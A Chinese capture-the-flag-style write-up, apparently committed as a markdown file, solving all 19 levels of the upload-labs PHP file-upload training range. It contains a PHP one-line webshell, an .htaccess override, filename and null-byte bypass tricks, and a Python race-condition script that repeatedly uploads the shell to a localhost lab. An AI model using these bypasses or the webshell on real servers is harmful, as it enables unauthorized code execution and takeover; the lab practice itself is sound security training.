|
| 1 | +### 0x00: 前言 |
| 2 | + |
| 3 | +本篇文章主要记录绕过一个基于php语言的上传漏洞的靶场项目[upload-labs](https://github.com/c0ny1/upload-labs) (最新commit[17ec936](https://github.com/c0ny1/upload-labs/commit/17ec93650d05d956e5868518cd6e8e36085ab2a3)的19个上传关卡的方法。 |
| 4 | + |
| 5 | +文章适合有一定上传绕过知识基础的读者阅读,绕过原理请参考其它文章和项目源码,限于篇幅文章中不展开解释。 |
| 6 | + |
| 7 | +### 0x01:测试配置 |
| 8 | + |
| 9 | +| 操作系统 | Windows 10 | |
| 10 | +| --------------- | ---------------------------------- | |
| 11 | +| **服务器环境** | phpStudy 2016 | |
| 12 | +| **PHP版本** | 5.2.17 | |
| 13 | +| **php.ini启用扩展** | extension=php_gd2.dll | |
| 14 | +| **php.ini启用扩展** | extension=php_mbstring.dll | |
| 15 | +| **php.ini启用扩展** | extension=php_exif.dll | |
| 16 | +| **Firefox插件** | NoScript | |
| 17 | +| **Firefox插件** | HackBar | |
| 18 | +| **抓包工具** | Burpsuite Pro | |
| 19 | +| **Webshell代码** | <?php assert($_POST["LandGrey"])?> | |
| 20 | + |
| 21 | +### 0x02: 绕过方法 |
| 22 | + |
| 23 | +#### Pass-01: |
| 24 | + |
| 25 | +前端禁用JS,直接上传Webshell |
| 26 | + |
| 27 | + |
| 28 | + |
| 29 | +#### Pass-02: |
| 30 | + |
| 31 | +截断上传数据包,修改Content-Type为`image/gif`,然后放行数据包 |
| 32 | + |
| 33 | + |
| 34 | + |
| 35 | +#### Pass-03: |
| 36 | + |
| 37 | +重写文件解析规则绕过。上传先上传一个名为`.htaccess`文件,内容如下: |
| 38 | + |
| 39 | +``` |
| 40 | +<FilesMatch "03.jpg"> |
| 41 | +SetHandler application/x-httpd-php |
| 42 | +</FilesMatch> |
| 43 | +``` |
| 44 | + |
| 45 | + |
| 46 | + |
| 47 | + |
| 48 | + |
| 49 | +然后再上传一个`03.jpg` |
| 50 | + |
| 51 | + |
| 52 | + |
| 53 | + |
| 54 | + |
| 55 | +执行上传的`03.jpg`脚本 |
| 56 | + |
| 57 | + |
| 58 | + |
| 59 | +#### Pass-04: |
| 60 | + |
| 61 | +方法同**Pass-03**, 重写文件解析规则绕过 |
| 62 | + |
| 63 | + |
| 64 | + |
| 65 | + |
| 66 | + |
| 67 | + |
| 68 | + |
| 69 | + |
| 70 | + |
| 71 | + |
| 72 | + |
| 73 | +#### Pass-05: |
| 74 | + |
| 75 | +文件名后缀大小写混合绕过。`05.php`改成`05.phP`然后上传 |
| 76 | + |
| 77 | + |
| 78 | + |
| 79 | +#### Pass-06: |
| 80 | + |
| 81 | +利用Windows系统的文件名特性。文件名最后增加**点和空格**,写成`06.php. `,上传后保存在Windows系统上的文件名最后的一个`.`会被去掉,实际上保存的文件名就是`06.php` |
| 82 | + |
| 83 | + |
| 84 | + |
| 85 | +#### Pass-07: |
| 86 | + |
| 87 | +原理同**Pass-06**,文件名后加点,改成`07.php.` |
| 88 | + |
| 89 | + |
| 90 | + |
| 91 | +#### Pass-08: |
| 92 | + |
| 93 | +Windows文件流特性绕过,文件名改成`08.php::$DATA`,上传成功后保存的文件名其实是`08.php` |
| 94 | + |
| 95 | + |
| 96 | + |
| 97 | +#### Pass-09: |
| 98 | + |
| 99 | +**原理同Pass-06**,上传文件名后加上**点+空格+点**,改为`09.php. .` |
| 100 | + |
| 101 | + |
| 102 | + |
| 103 | +#### Pass-10: |
| 104 | + |
| 105 | +双写文件名绕过,文件名改成`10.pphphp` |
| 106 | + |
| 107 | + |
| 108 | + |
| 109 | +#### Pass-11: |
| 110 | + |
| 111 | +上传路径名%00截断绕过。上传的文件名写成`11.jpg`, save_path改成`../upload/11.php%00`,最后保存下来的文件就是`11.php` |
| 112 | + |
| 113 | + |
| 114 | + |
| 115 | +#### Pass-12: |
| 116 | + |
| 117 | +原理同**Pass-11**,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成`../upload/12.php【二进制00】`形式 |
| 118 | + |
| 119 | + |
| 120 | + |
| 121 | +#### Pass-13: |
| 122 | + |
| 123 | +绕过文件头检查,添加GIF图片的文件头`GIF89a`,绕过GIF图片检查。 |
| 124 | + |
| 125 | + |
| 126 | + |
| 127 | +使用命令`copy normal.jpg /b + shell.php /a webshell.jpg`,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。[JPG一句话shell参考示例](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.jpg) |
| 128 | + |
| 129 | + |
| 130 | + |
| 131 | +png图片处理方式同上。[PNG一句话shell参考示例](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.png) |
| 132 | + |
| 133 | + |
| 134 | + |
| 135 | +#### Pass-14: |
| 136 | + |
| 137 | +原理和示例同**Pass-13**,添加GIF图片的文件头绕过检查 |
| 138 | + |
| 139 | + |
| 140 | + |
| 141 | +png图片webshell上传同**Pass-13**。 |
| 142 | + |
| 143 | +jpg/jpeg图片webshell上传存在问题,正常的图片也上传不了,等待作者调整。 |
| 144 | + |
| 145 | +#### Pass-15: |
| 146 | + |
| 147 | +原理同**Pass-13**,添加GIF图片的文件头绕过检查 |
| 148 | + |
| 149 | + |
| 150 | + |
| 151 | +png图片webshell上传同**Pass-13**。 |
| 152 | + |
| 153 | +jpg/jpeg图片webshell上传同**Pass-13**。 |
| 154 | + |
| 155 | +#### Pass-16: |
| 156 | + |
| 157 | +原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。 |
| 158 | + |
| 159 | +这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片[示例](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/php/bypass-imagecreatefromgif-pass-00.gif)。 |
| 160 | + |
| 161 | + |
| 162 | + |
| 163 | +打开被渲染后的图片,Webshell代码仍然存在 |
| 164 | + |
| 165 | + |
| 166 | + |
| 167 | +提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个[示例文件](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/php/bypass-imagecreatefromjpeg-pass-LandGrey.jpg)。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。 |
| 168 | + |
| 169 | + |
| 170 | + |
| 171 | + |
| 172 | + |
| 173 | +从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传[示例文件](https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/php/bypass-imagecreatefrompng-pass-LandGrey.jpg)即可,并不需要图片是正常的图片。 |
| 174 | + |
| 175 | + |
| 176 | + |
| 177 | +程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。 |
| 178 | + |
| 179 | + |
| 180 | + |
| 181 | +#### Pass-17: |
| 182 | + |
| 183 | +利用条件竞争删除文件时间差绕过。使用命令`pip install hackhttp`安装[hackhttp](https://github.com/BugScanTeam/hackhttp)模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。 |
| 184 | + |
| 185 | +```python |
| 186 | +#!/usr/bin/env python |
| 187 | +# coding:utf-8 |
| 188 | +# Build By LandGrey |
| 189 | + |
| 190 | +import hackhttp |
| 191 | +from multiprocessing.dummy import Pool as ThreadPool |
| 192 | + |
| 193 | + |
| 194 | +def upload(lists): |
| 195 | + hh = hackhttp.hackhttp() |
| 196 | + raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1 |
| 197 | +Host: 127.0.0.1 |
| 198 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 |
| 199 | +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
| 200 | +Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 |
| 201 | +Accept-Encoding: gzip, deflate |
| 202 | +Referer: http://127.0.0.1/upload-labs/Pass-17/index.php |
| 203 | +Cookie: pass=17 |
| 204 | +Connection: close |
| 205 | +Upgrade-Insecure-Requests: 1 |
| 206 | +Content-Type: multipart/form-data; boundary=---------------------------6696274297634 |
| 207 | +Content-Length: 341 |
| 208 | +
|
| 209 | +-----------------------------6696274297634 |
| 210 | +Content-Disposition: form-data; name="upload_file"; filename="17.php" |
| 211 | +Content-Type: application/octet-stream |
| 212 | +
|
| 213 | +<?php assert($_POST["LandGrey"])?> |
| 214 | +-----------------------------6696274297634 |
| 215 | +Content-Disposition: form-data; name="submit" |
| 216 | +
|
| 217 | +上传 |
| 218 | +-----------------------------6696274297634-- |
| 219 | +""" |
| 220 | + code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw) |
| 221 | + print(str(code) + "\r") |
| 222 | + |
| 223 | + |
| 224 | +pool = ThreadPool(10) |
| 225 | +pool.map(upload, range(10000)) |
| 226 | +pool.close() |
| 227 | +pool.join() |
| 228 | +``` |
| 229 | + |
| 230 | +在脚本运行的时候,访问Webshell |
| 231 | + |
| 232 | + |
| 233 | + |
| 234 | +#### Pass-18: |
| 235 | + |
| 236 | +只需要把文件名改成`18.gif`即可上传 |
| 237 | + |
| 238 | + |
| 239 | + |
| 240 | +#### Pass-19: |
| 241 | + |
| 242 | +原理同**Pass-11**,上传的文件名用0x00绕过。改成`19.php【二进制00】.1.jpg` |
| 243 | + |
| 244 | + |
| 245 | + |
| 246 | +### 0x03: 后记 |
| 247 | + |
| 248 | +可以发现以上绕过方法中有些是重复的,有些是意外情况,可能与项目作者的本意不符,故本文仅作为参考使用。 |
| 249 | + |
| 250 | +等作者修复代码逻辑后,本文也会适时更新。 |
0 commit comments